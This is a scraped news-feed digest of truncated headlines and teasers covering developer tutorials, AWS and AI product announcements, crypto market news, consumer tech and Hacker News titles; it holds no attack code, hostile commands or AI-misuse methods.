    Ask any adult who they are, and chances are their first answer will be their profession. "I'm a doctor." "I'm a programmer." "I'm an entrepreneur." Not "I'm a father," not "I'm someone who loves mountains," not "I'm someone searching for meaning." Work. Job title. Career. This isn't accidental. The average person spends about 90,000 hours at work over their lifetime—more than a third of all waking hours. More than with family. More than on hobbies, travel, and rest combined. We don't just work—we live at work. And it would be naive to think such immersion leaves no trace. Career teaches us to handle pressure and forms habits of avoiding conflict. It gives us confidence—and plants the seeds of impostor syndrome. It opens doors to new social circles—and cuts us off from old friends. It provi…  ( 14 min )
    [AWS] Modifying Infrastructure Composer policies with IAM Policy Autopilot
    This article is a machine translation of the contents of the following URL, which I wrote in Japanese: https://qiita.com/Nana_777/items/9f13dc07eb8075da0bde This post is the third in the AWS Community Builders Advent Calendar 2025. ↓ [AWS Blog] Simplify IAM Policy Creation with IAM Policy Autopilot, a New Open-Source MCP Server for Builders https://aws.amazon.com/jp/blogs/aws/simplify-iam-policy-creation-with-iam-policy-autopilot-a-new-open-source-mcp-server-for-builders/ ↓ Top Announcements of AWS re:Invent 2025 https://aws.amazon.com/jp/blogs/aws/top-announcements-of-aws-reinvent-2025/ ↓ See the AWS Community Builders Advent Calendar 2025 here. (Japanese) https://qiita.com/advent-calendar/2025/aws-community-builders ↓ Previous Infrastructure Composer Article https://dev.to/aws-builders/a…  ( 7 min )
    From a Single File to a Full Chrome Extension Using Kiro
    Quick Demo Introduction There have been an increasing variety of coding agents recently. Each one getting more integrated and comprehensive than the last. I've been lucky enough to have been able to try a couple of these not only on my own free time, but as part of an implementation task at my work to integrate these agents into some of the development workflows. I remember trying CrewAI, a multi-agent AI system, and trying to hack together our own coding agent. It did well enough... but it's not what CrewAI was meant for. Then Codex came along and did what our hacky system did way better and more precisely with fewer errors. The learning experience was valuable nonetheless. Because that's what it was meant for. It reads your codebase and prepares itself with the right con…  ( 16 min )
    Chip Design Breakthrough: Predicting Performance Before Layout
    Chip Design Breakthrough: Predicting Performance Before Layout Tired of lengthy design cycles and performance surprises late in the game? Imagine knowing your chip's power consumption and speed before committing to the physical layout. That's the promise of a new machine learning approach that's revolutionizing how we design integrated circuits. The core concept is to build a predictive model that learns from the early stages of design, specifically the netlist. This model is then fine-tuned to estimate parasitic effects – the unwanted capacitances and resistances that arise from the physical layout – and predict final performance metrics like timing and power. Think of it like predicting the taste of a cake based on the recipe (netlist) while accounting for how your oven (layout tools) …  ( 7 min )
    WHAT IS A SECRET?
    A secret is any piece of sensitive information that must be protected from unauthorized access. Examples: API keys Access tokens Database passwords Private keys (.pem) Confluent Cloud credentials Terraform backend credentials OAuth tokens SSH keys Goal: Keep secrets encrypted at rest, encrypted in transit, and never stored in plaintext (repo, logs, artifacts). 2. WHY SECRETS MANAGEMENT IS CRITICAL A senior DevOps engineer must prevent: Credential leaks Unauthorized access Accidental commits to Git Hardcoding in Terraform, Kubernetes, Docker, or CI/CD Secrets leaks cause: Environment compromise Data breaches Unauthorized AWS usage costing thousands Repository takeovers This is why we use secure secret stores, not files. 3. SECRET STORAGE OPTIONS DevOps MUST know There are 4 main secret …  ( 11 min )
    Web App or Mobile App? Choosing Your MVP Platform
    Last Tuesday, a founder asked me: "Should I build a mobile app or a web app first?" I asked her three questions: Where are your users when they need your product most? Can they accomplish the core task on a laptop? Do you have 16 weeks or 8 weeks to validate your idea? She went quiet. Then: "I haven't thought about any of that." Most founders haven't. They just know they need an app—capital A, as if "app" only means one thing. Let's fix that, because this decision will either accelerate your startup or drain six months before you realize you chose wrong. Here's what nobody tells you: The "right" platform isn't about what's trendy or what your competitor built. It's about where your specific users need to solve their specific problem. A meditation app that expects users to sit at their desk…  ( 13 min )
    Achieve Prisma-like Developer Experience in EF Core! Introduction to Linqraft
    The other day, I released a C# library called Linqraft! In this article, I'd like to introduce it. C# is a wonderful language. With powerful type safety, a rich standard library, and the ability to handle everything from GUI app development to web development, I think it's an excellent language for almost any purpose. However, there's something about C# that has been frustrating me on a daily basis. That is: "Defining classes is tedious!" and "Writing Select queries is tedious!" Since C# is a statically-typed language, you basically have to define all the classes you want to use. While this is unavoidable to some extent, having to define derived classes every time is extremely tedious. DTO (Data Transfer Object) every time, resulting in writing similar class definitions over and over agai…  ( 13 min )
    Stop Fixing Code Manually: How NeuroLint Automates What ESLint Can't
    The Problem Every Developer Knows Too Well You've been there. It's 2 AM, and you're staring at a wall of ESLint errors. Missing key props in React lists. Hydration mismatches because someone used localStorage without a server-side guard. Accessibility warnings everywhere. ESLint tells you what's wrong. But you still have to fix it yourself. The cost? Hours of manual fixes. Delayed releases. Production bugs that could have been prevented. What if there was a tool that didn't just identify problems, but actually fixed them? NeuroLint is a deterministic code transformation engine that automatically fixes over 50 common issues in React, Next.js, and TypeScript projects. The key difference? No AI. No guessing. No hallucinations. While AI coding tools can produce unpredictable results, NeuroLi…  ( 8 min )
    ProofQR.xyz - a blockchain-based QR code verification system
    I wanted something to work on over the weekend and wanted to dive into Web3 and also do stuff involving QR code generation (not really sure why just figured it might be an untapped market). After doing some looking online and asking ChatGPT what was needed in the world of Web3 it came up with a QR code based verification system for blockchain items and content. I spent some time researching the concept then started building with Next.js. The photos you see are the result of a few days of work (the back end and logic was 90% done by me with 10% Claude debugging. The design was all AI as I have the artistic talent of a cheeseburger). This is also working using the testnet for now as I do not want to lose funds testing. So here is how it works currently: Step 1: You sign in with you wallet (this is not stored anywhere and you will have to sign in each time) To validate, simply point your phone camera at the QR code and scan it. This will open up the validation page and show you if the QR code is valid or not. It will also show how many times the code has been scanned and the Etherscan link Why is this necessary? Traditional QR codes can be easily copied or faked. If someone counterfeits your product, they can just copy the QR code. There's no way to prove which one is authentic. ProofQR provides a way to make sure your data is secure and protected on the ETH blockchain. What I need from you is feedback. I want ideas on how to make this better and potential additions to add. Any and all feedback is wanted. Thank you for viewing my post. Stay tuned for future updates!  ( 7 min )
    Achieve Prisma-like Developer Experience in EF Core! Introduction to Linqraft
    The other day, I released a C# library called Linqraft! In this article, I'd like to introduce it. C# is a wonderful language. With powerful type safety, a rich standard library, and the ability to handle everything from GUI app development to web development, I think it's an excellent language for almost any purpose. However, there's something about C# that has been frustrating me on a daily basis. That is: "Defining classes is tedious!" and "Writing Select queries is tedious!" Since C# is a statically-typed language, you basically have to define all the classes you want to use. While this is unavoidable to some extent, having to define derived classes every time is extremely tedious. DTO (Data Transfer Object) every time, resulting in writing similar class definitions over and over agai…  ( 13 min )
    Build a Reusable SwiftUI Component Library
    SwiftUI makes it easy to build UI — but building reusable components that look consistent across your entire app is a different challenge. As apps grow, UI duplication becomes a real problem: repeated button styles inconsistent card shapes duplicated text modifiers copy-paste shadows multiple versions of the same layout A component library solves all of this. Today you’ll learn how to build a modern, scalable, Apple-style SwiftUI Component Library that includes: buttons cards text fields floating panels chips design tokens (colors, radii, shadows) reusable modifiers consistent styling This is the exact structure I use in real production apps. Let’s build it. 🚀 Design Folder Design/ ├── Colors.swift ├── Radii.swift ├── Shadows.swift └── Typography.swift This gives yo…  ( 8 min )
    The Blueprint for Becoming a Part-Time Freelance Developer While Working a Job
    Introduction: The Moment You Realize You Want “More” Maybe it happened during a late-night coding session. Whatever the spark was, you’re here because you want to become a part-time freelance developer—without walking away from your full-time job. Good news: thousands of developers have done it successfully, and you can too. You just need a simple blueprint. Let’s build it. Step 1 — Clarify Your “Why” and Choose Your Path Before you open Upwork or polish your GitHub, you need clarity. Freelancing without direction is like coding without requirements—it leads to chaos. Know Why You Want to Freelance Your “why” drives your decisions. Common reasons include: Extra income Building skills you don’t use at work Creating a transition path to full-time freelancing Expanding your professional netwo…  ( 9 min )
    Achieve Prisma-like Developer Experience in EF Core! Introduction to Linqraft
    The other day, I released a C# library called Linqraft! In this article, I'd like to introduce it. C# is a wonderful language. With powerful type safety, a rich standard library, and the ability to handle everything from GUI app development to web development, I think it's an excellent language for almost any purpose. However, there's something about C# that has been frustrating me on a daily basis. That is: "Defining classes is tedious!" and "Writing Select queries is tedious!" Since C# is a statically-typed language, you basically have to define all the classes you want to use. While this is unavoidable to some extent, having to define derived classes every time is extremely tedious. DTO (Data Transfer Object) every time, resulting in writing similar class definitions over and over agai…  ( 13 min )
    terraform advanced
    1️⃣ *Why Terraform? * Terraform is used to automate cloud infrastructure so humans don’t manually create: VPCs Subnets Security Groups ECS clusters Task definitions Load balancers IAM roles RDS S3 DynamoDB Secrets ECR registries Route53 CloudWatch alarms In big companies: Without Terraform Engineers click around the console No history No review/tracking Accidental misconfiguration Hard to reproduce environments Hard to recover after failure Hard to scale Impossible to maintain dozens of environments With Terraform Everything is code The entire infrastructure is repeatable You can recreate the entire system from scratch Teams use Git history, PR reviews, CI/CD pipelines One command updates all cloud resources correctly Your project has: 7 microservices (Python) ECS cluster ALB Cou…  ( 10 min )
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    Learn NestJS for Beginners
    NestJS is a progressive Node.js framework for building efficient and reliable server-side applications. It uses TypeScript by default and encourages clean, modular code with concepts including controllers, services, and dependency injection. We just ...  ( 3 min )
    Learn R Programming from Harvard University
    Harvard University creates amazing beginner computer science courses. We just released Harvard CS50’s introduction to programming using a language called R, a popular language for statistical computing and graphics in data science and other domains. ...  ( 3 min )
    freeCodeCamp's New Responsive Web Design Certification is Now Live
    The freeCodeCamp community just published our new Responsive Web Design certification. You can now sit for the exam to earn the free verified certification, which you can add to your résumé, CV, or LinkedIn profile. Each certification is filled with ...  ( 9 min )
  • Open

    IBIT Among Most-Traded ETFs as Bitcoin Surges; Mining Stocks Sink
    A 6% rally in bitcoin helped push IBIT ahead of major funds like VOO, but crypto miners including IREN and CIFR posted steep losses.  ( 32 min )
    Bitcoin Dipped Below 'Fair Value' for First Time in 2 Years, History Says 132% Gains Next 12 Months
    Network reset complete: leverage flushed, LTHs accumulating and price back above fair value.  ( 32 min )
    AAVE Rallies 14% as Bybit, Mantle Integration Connects DeFi Lender to 70M Users
    The DeFi lender's native token broke above key resistance level, eyeing $190 as the next target level.  ( 32 min )
    Why The Market Crashed On October 10, And Why It’s Struggling to Bounce
    MSCI’s proposed reclassification and potential index exclusion of Digital Asset Treasury (DAT) companies now looms over the market as a major structural overhang, says Dr. Avtar Sehra, founder and CEO of STBL. This helps explain the lack of a sustained recovery in crypto prices since the October 10th crash.  ( 43 min )
    Amazon Enters AI Arms Race as Crypto and Risk Asset Fears Mount
    The pivot to AI comes with risks, including heavy borrowing and concerns about sustainability, with potential shortfalls if demand for AI slows.  ( 33 min )
    Trump-Associated American Bitcoin Plunges 40% on Heavy Volume, Dragging Hut 8 Lower by 12%
    The collapse marks yet another disappointing Trump family crypto-related investment.  ( 32 min )
    Bitcoin Volatility Breaks Out Vs VIX, Setting Up Possible Pair Trade Opportunity
    The spread between BTC and S&P 500 implied volatility indices is widening again.  ( 32 min )
    AI Investment to Drive Global Growth Through 2026, BofA Says
    Bitcoin miners have been among those riding the AI boom, with IREN and Cipher Mining up over 300% in 2025.  ( 34 min )
    Why Coinbase Shares Still Have 90% Upside Despite Crypto Pullback, According to Wall Street Analyst
    Bernstein kept its Street-high $510 price target on Coinbase, citing strong fundamentals and product expansion.  ( 33 min )
    Brazil Sentences 14 for Using Crypto, Shell Firms in $95M Drug Money Laundering Case
    The defendants were found to have used fake companies and cryptocurrency transactions to conceal the origin of the illicit funds.  ( 32 min )
    Polkadot Surges 13% After Breaking Above Key Resistance
    The token outpaced broader crypto markets as volume spiked 34% above weekly averages.  ( 32 min )
    Iren Plans to Sell Up to $2.3 Billion of Convertible Notes, Shares Drop
    The company also plans to sell shares to fund the repurchase of existing debt.  ( 32 min )
    SOL Bulls Take a Breather After Pumping Millions Into ETFs
    Solana exchange-traded funds debuted on Oct. 28 and performed flawlessly with inflows 21 consecutive days until the day before Thanksgiving.  ( 32 min )
    Kraken Agrees to Buy Tokenization Specialist Backed Finance as RWA Trend Accelerates
    The exchange has already teamed up with the Switzerland-based firm for its tokenized equity offering, xStocks.  ( 31 min )
    Bitcoin Surges Back Above $91K as Support Builds in $80K-$85K Area
    Helping the mood in crypto were moves by institutional giants Vanguard and Bank of America to open up digital assets to their clients.  ( 33 min )
    Kalshi Raises $1B at $11B Valuation as Prediction Market Race Heats Up
    Kalshi secures a massive funding boost led by Paradigm, widening its lead over Polymarket as trading volumes surge and both platforms pursue fresh capital.  ( 31 min )
    Grayscale’s Chainlink ETF Lists on NYSE Arca, LINK Price Jumps
    The debut marks the first U.S. ETF tied to Chainlink, which secures tens of billions of dollars in onchain value across DeFi and gaming.  ( 32 min )
    BNP Paribas Joins EU Bank Stablecoin Venture Helmed by Ex-Coinbase Germany Exec
    The group of 10 banks plans to introduce its euro stablecoin next year under a new Dutch entity named Qivalis.  ( 33 min )
    CoinDesk 20 Performance Update: NEAR Protocol (NEAR) Gains 8.2% as Index Rises
    Cronos (CRO) was also a top performer, up 7.6% from Monday.  ( 29 min )
    Bank of America Greenlights Wealth Advisors to Recommend Up to 4% Bitcoin Allocation
    The news comes just hours after longtime crypto holdout, asset management giant Vanguard, said it would allow its clientele access to digital asset ETFs.  ( 32 min )
    Strategy Gains Nearly 20% From Monday Low as Bear Gloating Suggests at Least Temporary Bottom
    There comes a point when long-standing detractors become so vocal, their tone shifting from criticism to arrogance, that it often reflects conditions that are consistent with a bottom.  ( 32 min )
    Toncoin Climbs to $1.50 as Cocoon Debut Sparks Surge in Trading Volume
    Cocoon lets GPU owners rent out computing power for AI tasks and receive TON tokens as compensation, with Telegram as the first user.  ( 33 min )
    APT Rises 2.3%, Outperforms Wider Crypto Market
    The gains were accompanied by a surge in trading volume signaling potential institutional positioning.  ( 32 min )
    On Thin Ice: Crypto Daybook Americas
    Your day-ahead look for Dec. 2, 2025  ( 39 min )
    Poland's President Vetoes MiCA Bill, Cites Threats to 'Freedoms of Poles'
    President Karol Narwocki was concerned that the Cryptoasset Market Act would allow the government to disable crypto companies websites "with a single click."  ( 32 min )
    Crypto Markets Today: Risk-Off Mood Persists as Altcoins Extend Losses
    Crypto markets failed to bounce on Tuesday, with bitcoin retracing last week’s gains and altcoins extending losses.  ( 34 min )
    Goldman's $2B ETF Issuer Takeover Is Both a Blessing and a Curse for Crypto
    Although the acquisition of Innovator Capital Management does not directly mention crypto, it does inherently imply that Goldman Sachs is expanding into the digital assets arena.  ( 34 min )
    Strategy Trading Explodes to Highest in a Year as Shares Fall on Dollar Reserve, Profit Forecast
    Trading volume in Strategy shares surged to 42.9 million, the most since last December, as the price fell 3.25%.  ( 31 min )
    Anthropic Research Shows AI Agents Are Closing In on Real DeFi Attack Capability
    Models tested by MATS and the Anthropic Fellows program generated turnkey exploit scripts and identified fresh vulnerabilities, suggesting automated exploitation is becoming technically and economically viable.  ( 32 min )
    Unlimit Debuts Stable.com, a Decentralized Clearing House Built for Stablecoins
    The new non-custodial platform brings stablecoin swaps and global fiat off-ramps into one place, aiming to make the process more seamless for users.  ( 32 min )
    XRP, Bitcoin On The Edge; Will Santa Abandon Nasdaq?
    XRP and BTC trade close to make-or-break levels while Nasdaq's November price action raises pullback risks.  ( 32 min )
    Ethereum Devs Push ZK ‘Secret Santa’ System Toward Deployment
    The proposed protocol uses zero-knowledge proofs to verify sender–receiver relationships without revealing identities.  ( 32 min )
    Sanctioned Cambodian Lender Huione, Linked to Illicit Crypto, Halts Business After Bank Run: Report
    The scandal-plagued platform blamed a surge in withdrawals for its shutdown, the latest fallout from U.S. sanctions and money-laundering allegations targeting the wider Huione network.  ( 30 min )
    Dogecoin Wicks Below Key Support — Fakeout or Start of Larger Correction?
    Dogecoin's recovery remains fragile, with resistance between $0.1362 and $0.1386 needing to be overcome for a bullish shift.  ( 34 min )
    Bitcoin May Dump to $65K or Below, Spelling Trouble for ETH, XRP, ADA and Other Majors
    MSCI is considering removing Strategy Inc. from its major equity indices due to the company's large bitcoin holdings, which some traders say could scare smaller players.  ( 33 min )
    Breakdown or Bear Trap? XRP Tests $1.99 as Market Signals Mixed Direction Ahead
    A break above $2.05–$2.07 is needed to shift momentum, while a fall below $2.00 could lead to further declines.  ( 33 min )
    Bitcoin Traders Bet on Sub-$80K New Year: Derive
    Market positioning implies a meaningful probability of sub-$80K BTC to start 2026, Derive's Forster said.  ( 30 min )
    Attention Bitcoin Bulls: The U.S. 10-Year Yield Isn't Budging Despite Fed Rate Cut Hopes
    Bitcoin bulls' hopes for rate cuts to lower bond yields and the dollar are challenged by signals from the Treasury and the FX market.  ( 33 min )
    Asia Morning Briefing: This Year's Tether Debate is a Good One to Have
    The crypto market has spent years arguing about Tether’s reserves – sometimes with more hyperbole than substance – but the latest debate is sharper and more revealing than usual.  ( 35 min )
  • Open

    Amazon's new AI can code for days without human help. What does that mean for software engineers?
    Amazon Web Services on Tuesday announced a new class of artificial intelligence systems called "frontier agents" that can work autonomously for hours or even days without human intervention, representing one of the most ambitious attempts yet to automate the full software development lifecycle. The announcement, made during AWS CEO Matt Garman's keynote address at the company's annual re:Invent conference, introduces three specialized AI agents designed to act as virtual team members: Kiro autonomous agent for software development, AWS Security Agent for application security, and AWS DevOps Agent for IT operations. The move signals Amazon's intent to leap ahead in the intensifying competition to build AI systems capable of performing complex, multi-step tasks that currently require teams o…
    Mistral launches Mistral 3, a family of open models designed to run on laptops, drones, and edge devices
    Mistral AI, Europe's most prominent artificial intelligence startup, is releasing its most ambitious product suite to date: a family of 10 open-source models designed to run everywhere from smartphones and autonomous drones to enterprise cloud systems, marking a major escalation in the company's challenge to both U.S. tech giants and surging Chinese competitors. The Mistral 3 family, launching today, includes a new flagship model called Mistral Large 3 and a suite of smaller "Ministral 3" models optimized for edge computing applications. All models will be released under the permissive Apache 2.0 license, allowing unrestricted commercial use — a sharp contrast to the closed systems offered by OpenAI, Google, and Anthropic. The release is a pointed bet by Mistral that the future of artifici…
    Ascentra Labs raises $2 million to help consultants use AI instead of all-night Excel marathons
    While artificial intelligence has stormed into law firms and accounting practices with billion-dollar startups like Harvey leading the charge, the global consulting industry—a $250 billion behemoth—has remained stubbornly analog. A London-based startup founded by former McKinsey consultants is betting $2 million that it can crack open this resistant market, one Excel spreadsheet at a time. Ascentra Labs announced Monday that it has closed a $2 million seed round led by NAP, a Berlin-based venture capital firm formerly known as Cavalry Ventures. The funding comes with participation from notable founder-angels including Alan Chang, chief executive of Fuse and former chief revenue officer at Revolut, and Fredrik Hjelm, chief executive of European e-scooter company Voi. The investment is modes…
    New training method boosts AI multimodal reasoning with smaller, smarter datasets
    Researchers at MiroMind AI and several Chinese universities have released OpenMMReasoner, a new training framework that improves the capabilities of language models in multimodal reasoning. The framework uses a two-stage process. It first refines a base model with a curated dataset in a supervised fine-tuning (SFT) stage. Then, a reinforcement learning (RL) stage guides the model to reason more effectively in tasks that involve both text and visual data.  Experiments show that models trained with OpenMMReasoner outperform other leading visual reasoning models, often while being trained on a smaller, higher-quality dataset. The framework and all its assets, including a trained 7B model, are fully open source, providing a reliable foundation for building applications that require traceabilit…
    Headless vs. native semantic layer: The architectural key to unlocking 90%+ text-to-SQL accuracy
    Every data engineering team right now is being asked the same question: "How do we build a chatbot that talks to our data?" The prototypes are deceptively simple. A developer connects GPT-5.1 to a Snowflake schema, asks "What is our revenue?", and watches as the model generates a syntactically perfect SQL query. It feels like magic. But when these systems move from a sandbox to production, the magic collapses. The bot reports $12 million revenue on Monday and $9.5 million on Tuesday, despite the underlying data remaining unchanged. The failure isn't a lack of model intelligence; it is an architectural "context gap." Gen AI models are probabilistic engines trying to interpret rigid, deterministic business logic from raw database schemas. Without a mediation layer to define what "revenue" ac…
    AWS goes beyond prompt-level safety with automated reasoning in AgentCore
    AWS is leveraging automated reasoning, which uses math-based verification, to build out new capabilities in its Amazon Bedrock AgentCore platform as the company digs deeper into the agentic AI ecosystem.  Announced during its annual re: Invent conference in Las Vegas, AWS is adding three new capabilities to AgentCore: "policy," "evaluations" and "episodic memory." The new features aim to give enterprises more control over agent behavior and performance.  AWS also revealed what it calls “a new class of agents," or "frontier agents," that are autonomous, scalable and independent.  Swami Sivasubramanian, AWS VP for Agentic AI, told VentureBeat that many of AWS’s new features represent a shift in who becomes a builder.  “We are actually on the cusp of a major tectonic transformation with AI, b…
    With AI browsers creating fresh security and privacy concerns, Norton Neo is the first to enter with a safety-first approach
    The AI browser wars are heating up. OpenAI and other AI companies like Perplexity have gotten a lot of attention with their new AI-first and agentic browsers. They're being positioned as direct competition to Google, which currently holds a 70% share of the market with its Chrome browser. As the incumbent, Google has been slower to respond to the shift toward AI search — integrating Gemini into Chrome, is widely seen as playing catch-up to competitors that were AI-first from day one. It's understandable, as a $100 billion business is an enormous, unwieldy beast to pivot. That leaves space for the new guys to maneuver, who are essentially starting with blank slates, and free reign for innovation. Enter Neo, released for worldwide general availability today — the next step in Norton’s AI inn…
    With Nova Forge, AWS gives companies a path to build foundation-class models without GPUs
    Amazon Web Services (AWS) is leaning into the growing trend toward custom models with a new service that it says will let enterprises bring more personalization and internal knowledge.  The move comes alongside the release of AWS's new models as part of its Nova family, which expands the capabilities of its reasoning models. Nova 2 Lite, Nova 2 Pro, Nova 2 Sonic and Nova 2 Omni update the first Nova models AWS announced last year. Nova 2 Lite is a fast, cost-effective reasoning model optimized for everyday tasks that can process text, images and videos to generate text. Nova 2 Pro, which AWS said is its most intelligent reasoning model, can handle complex tasks such as coding agents, long-range planning and problem-solving. It can act as a “teacher” model for distillation projects. Nova 2 …
    Arcee aims to reboot U.S. open source AI with new Trinity models released under Apache 2.0
    For much of 2025, the frontier of open-weight language models has been defined not in Silicon Valley or New York City, but in Beijing and Hangzhou. Chinese research labs including Alibaba's Qwen, DeepSeek, Moonshot and Baidu have rapidly set the pace in developing large-scale, open Mixture-of-Experts (MoE) models — often with permissive licenses and leading benchmark performance. While OpenAI fielded its own open source, general purpose LLM this summer as well — gpt-oss-20B and 120B — the uptake has been slowed by so many equally or better performing alternatives. Now, one small U.S. company is pushing back. Today, Arcee AI announced the release of Trinity Mini and Trinity Nano Preview, the first two models in its new “Trinity” family—an open-weight MoE model suite fully trained in the Un…
  • Open

    The Download: AI’s impact on the economy, and DeepSeek strikes again
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. The State of AI: Welcome to the economic singularity —David Rotman and Richard Waters Any far-reaching new technology is always uneven in its adoption, but few have been more uneven than generative AI.…  ( 20 min )
  • Open

    Incentives For Long-Term PERKESO Contributors With No Claims Under Study
    Malaysia’s Social Security Organisation (PERKESO, also known as SOCSO) is evaluating possible incentives for contributors who have consistently paid into the scheme for years without filing any claims. Human Resources (HR) Minister Steven Sim Chee Keong confirmed this when he wrapped up debates on the Employees’ Social Security (Amendment) Bill 2025 in the Dewan Rakyat […] The post Incentives For Long-Term PERKESO Contributors With No Claims Under Study appeared first on Lowyat.NET.  ( 34 min )
    Specs Of Redmi Note 15 Series’ Global Variant Appear Online
    The Redmi Note 15 series has had its launch in its home market of China. It looks like it’s the turn of the global markets soon. The specs for these devices have also appeared online, and there looks to be quite the variance between the models of the Chinese market and those for the global […] The post Specs Of Redmi Note 15 Series’ Global Variant Appear Online appeared first on Lowyat.NET.  ( 36 min )
    Sony Quietly Updates Cooling Solution For The PS5 Slim
    Sony has sneakily updated the cooling solution for the PlayStation 5 (PS5) Slim. The later batches of the PS5 Slim reportedly feature a beefier heatsink, similar to the one use in the PS5 Pro. X user Modyfikator89 confirmed the upgrade, posting a picture of the updated heatsink. Compared to the previous iteration, the new heatsink […] The post Sony Quietly Updates Cooling Solution For The PS5 Slim appeared first on Lowyat.NET.  ( 34 min )
    Possible Samsung Galaxy Z Fold8 Variant Appears In GSMA Database
    With the veil off of the Samsung Galaxy Z TriFold, the rumour mill moves on to what’s coming next. And next on the docket for foldables by the South Korean tech giant is what looks like a variant of the upcoming Galaxy Z Fold8. And it’s specifically a variant because of the code name attached […] The post Possible Samsung Galaxy Z Fold8 Variant Appears In GSMA Database appeared first on Lowyat.NET.  ( 35 min )
    Sarawak’s AirBorneo Set To Take Off January 2026
    At the beginning of the year, Sarawak unveiled AirBorneo as its very own airline following the acquisition of MASwings. Now, the new state-owned airline is set to start flying as soon as January 2026. According to State Transport Minister Datuk Seri Lee Kim Shin, the airline will commence operations with the existing rural air services […] The post Sarawak’s AirBorneo Set To Take Off January 2026 appeared first on Lowyat.NET.  ( 34 min )
    Bowers & Wilkins Px8 S2 Lightning Review: Well Worth That Premium Price Tag
    There’s been much hullabaloo about the Bowers & Wilkins (B&W) Px8 S2 prior to my getting my hands on it. And now that I have spent a good amount of “me” time with it, I see clearly what the good word about it is. To that end, I believe these are the best-sounding headphones I’ve tested this year. […] The post Bowers & Wilkins Px8 S2 Lightning Review: Well Worth That Premium Price Tag appeared first on Lowyat.NET.  ( 40 min )
    Skyrocketing DDR5 RAM Prices Are Causing Motherboard Sales To Fall
    The price of DDR5 RAM kits has shot up drastically in a very short period of time, effectively making them stupid expensive, costing as much as gaming consoles or a GPU. Unsurprisingly, this dramatic spike is causing a crisis among PC gamers, and is directly affecting the sales of corresponding motherboards. According to Japanese news […] The post Skyrocketing DDR5 RAM Prices Are Causing Motherboard Sales To Fall appeared first on Lowyat.NET.  ( 36 min )
    AI Head John Giannandrea To Exit Apple Amid Siri Hiccups
    It seems Apple is making some significant changes to its AI division. The tech giant has announced that senior vice president for Machine Learning and AI Strategy John Giannandrea is stepping down from his role. Giannandrea, who joined the bitten fruit brand in 2018, will serve as an advisor before fully retiring in spring 2026. […] The post AI Head John Giannandrea To Exit Apple Amid Siri Hiccups appeared first on Lowyat.NET.  ( 35 min )
    European EV Repair Shop Warns Of “Catastrophic” Failures In China-Made Tesla Batteries
    EU-based electric vehicle repair specialist EV Clinic has issued a warning about a specific type of battery pack used in some Tesla Model 3 and Model Y units, especially those shipped to Europe and parts of Asia. The issue centres on LG Energy Solution’s NCM811 battery cells made in Nanjing, which are used in certain […] The post European EV Repair Shop Warns Of “Catastrophic” Failures In China-Made Tesla Batteries appeared first on Lowyat.NET.  ( 35 min )
    PlayStation Reveals A Genshin Impact Limited Edition DualSense Controller
    There have been a number of limited edition DualSense controllers since the PS5 was released, and there’s another one on the way. This time it’s in conjunction with the launch of Genshin Impact Version Luna III on said console. While it may be an important milestone for the game, PlayStation has kept the naming convention […] The post PlayStation Reveals A Genshin Impact Limited Edition DualSense Controller appeared first on Lowyat.NET.  ( 35 min )
    Samsung Galaxy Z TriFold Finally Official
    Samsung has officially taken the wraps off the Galaxy Z TriFold, its long-rumoured and much-leaked triple-fold smartphone. The new model is also the brand’s largest Galaxy foldable to date, combining an oversized display, flagship-level hardware and more. One of the key engineering decisions centres on the Galaxy Z TriFold’s dual titanium hinges. Samsung says the […] The post Samsung Galaxy Z TriFold Finally Official appeared first on Lowyat.NET.  ( 36 min )
    Intel To Invest Additional RM860 Million In Malaysia For Assembly, Testing Operations
    Intel is continuing to expand its operations on our shores. According to Prime Minister Datuk Seri Anwar Ibrahim, the US chipmaker will be investing an additional RM860 million to establish Malaysia as a hub for its assembly and testing operations. This announcement followed a meeting between Anwar and Intel CEO Lip-Bu Tan, during which the […] The post Intel To Invest Additional RM860 Million In Malaysia For Assembly, Testing Operations appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Anthropic: AI agents find $4.6M in blockchain smart contract exploits
    Comments  ( 18 min )
    Losing Confidence
    Comments  ( 31 min )
    Apple AI Chief Retiring After Siri Failure
    Comments  ( 10 min )
    John Giannandrea to Retire from Apple
    Comments  ( 12 min )
    Why Am I Paying $40k for the Birth of My Child?
    Comments  ( 13 min )
    Mozilla's latest quagmire
    Comments  ( 2 min )
    Pose-free 3D Gaussian splatting via shape-ray estimation
    Comments  ( 2 min )
    Lawmakers Want to Ban VPNs–and They Have No Idea What They're Doing
    Comments  ( 13 min )
    Instagram chief orders staff back to the office five days a week in 2026
    Comments  ( 19 min )
    How to Attend Meetings – Internal guidelines from the New York Times
    Comments  ( 8 min )
    Sycophancy is the first LLM "dark pattern"
    Comments  ( 6 min )
    Better Than JSON
    Comments  ( 9 min )
    React and Remix Choose Different Futures
    Comments  ( 7 min )
    Intel could return to Apple computers in 2027
    Comments  ( 23 min )
    Durin is a library for reading and writing the Dwarf debugging format
    Comments  ( 5 min )
    Ask HN: Do you believe aliens are visiting Earth?
    Comments  ( 5 min )
    High-income job losses are cooling housing demand
    Comments  ( 25 min )
    Show HN: An AI zettelkasten that extracts ideas from articles, videos, and PDFs
    Comments  ( 15 min )
    Ghostty compiled to WASM with xterm.js API compatibility
    Comments  ( 7 min )
    Response to Ruby Is Not a Serious Programming Language
    Comments  ( 7 min )
    All about automotive lidar
    Comments  ( 27 min )
    Show HN: RFC Hub
    Comments
    Better Auth (YC X25) Is Hiring
    Comments  ( 5 min )
    A New AI Winter Is Coming
    Comments  ( 6 min )
    ImAnim: Modern animation capabilities to ImGui applications
    Comments  ( 8 min )
    Ask HN: Who wants to be hired? (December 2025)
    Comments  ( 30 min )
    Ask HN: Who is hiring? (December 2025)
    Comments  ( 16 min )
    Show HN: I built a 1.8MB native app with self-built UI, vision and AI libraries
    Comments  ( 5 min )
    DeepSeek-v3.2: Pushing the frontier of open large language models [pdf]
    Comments  ( 70 min )
    Google *Unkills* JPEG XL?
    Comments  ( 3 min )
    Google, Nvidia, and OpenAI – Stratechery by Ben Thompson
    Comments  ( 22 min )
    WordPress plugin quirk resulted in UK Gov OBR Budget leak [pdf]
    Comments  ( 16 min )
    Netflix Kills Casting from Its Mobile App to Most Modern TVs
    Comments  ( 9 min )
    Ask HN: Quality of recent gens of Dell/Lenovo laptops worse than 10 years ago?
    Comments  ( 2 min )
    Runway rolls out new AI video model that beats Google, OpenAI in key benchmark
    Comments  ( 95 min )
    The Penicillin Myth
    Comments  ( 53 min )
    Cartographers Have Been Hiding Covert Illustrations Inside of Switzerland's Maps
    Comments
    A vector graphics workstation from the 70s
    Comments  ( 8 min )
